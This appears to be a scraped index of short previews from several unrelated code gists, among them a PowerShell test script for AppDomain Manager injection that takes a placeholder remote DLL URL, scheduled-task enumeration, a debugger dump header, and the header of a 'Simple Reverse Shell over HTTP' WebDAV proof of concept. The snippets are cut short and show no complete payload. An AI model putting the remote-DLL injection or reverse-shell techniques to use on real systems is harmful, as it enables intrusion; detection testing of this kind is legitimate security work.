| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Physics Construct</title> | |
| <style> | |
| @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Orbitron:wght@400;700;900&display=swap'); | |
| :root { |
| # AppDomain Manager Injection Detection Tests | |
| # This script tests three methods of AppDomain Manager injection | |
| param( | |
| [string]$TestExecutable = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe", | |
| [string]$RemoteServer = "http://yourserver.com/tasks.dll", | |
| [string]$Base64RemoteDll = "" | |
| ) | |
| $ErrorActionPreference = "Stop" |
Get-ScheduledTask | Where-Object {$_.Actions.Execute -like 'cmd.exe'} | Select-Object TaskName, TaskPath, State
Get-ScheduledTask | ForEach-Object {
$task = $_
$_.Actions | Where-Object {$_.Execute -like '*cmd.exe*'} | ForEach-Object {
[PSCustomObject]@{
TaskName = $task.TaskName
TaskPath = $task.TaskPath
State = $task.State
| Microsoft (R) Windows Debugger Version 6.12.0002.633 X86 | |
| Copyright (c) Microsoft Corporation. All rights reserved. | |
| Loading Dump File [C:\dumps\regret.dmp] | |
| User Mini Dump File: Only registers, stack and portions of memory are available | |
| Symbol search path is: SRV*c:\symbols*http://msdl.microsoft.com/download/symbols | |
| Executable search path is: | |
| Windows XP Version 2600 (Service Pack 2) MP (2 procs) Free x86 compatible | |
| Product: WinNt, suite: SingleUserTS |
| <# | |
| Obtained from https://github.com/re4lity/subTee-gits-backups/blob/master/JEWebDav.ps1 | |
| #> | |
| <# | |
| .SYNOPSIS | |
| Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback. | |
| Read And Write Files Over WebDAV Proof Of Concept |
| import math | |
| import time | |
| def gcd_factorial_efficient(n): | |
| """Compute GCD(sqrt(n)!, n) efficiently""" | |
| sqrt_n = int(math.sqrt(n)) | |
| g = n | |
| print(f"Computing GCD({sqrt_n}!, {n})") | |
| print(f"Processing {sqrt_n} numbers...\n") |
A single file that has 2 different ways of behaving
IN this case we simply load and compile 2 difference C# calls.
Use your imagination.
| using System; | |
| using System.Configuration; | |
| using System.IO; | |
| using System.Net; | |
| namespace HelloWorldLib | |
| { | |
| public class HelloWorld | |
| { | |
| private static Configuration _config; |
| <# | |
| .SYNOPSIS | |
| Extracts a specific file from nested CAB files within an MSU package. | |
| .DESCRIPTION | |
| Extracts MSU to get CAB files, then extracts a specific file by name, | |
| and performs additional expansion rounds if the file is itself a CAB. | |
| .PARAMETER MsuPath | |
| Path to the MSU file. |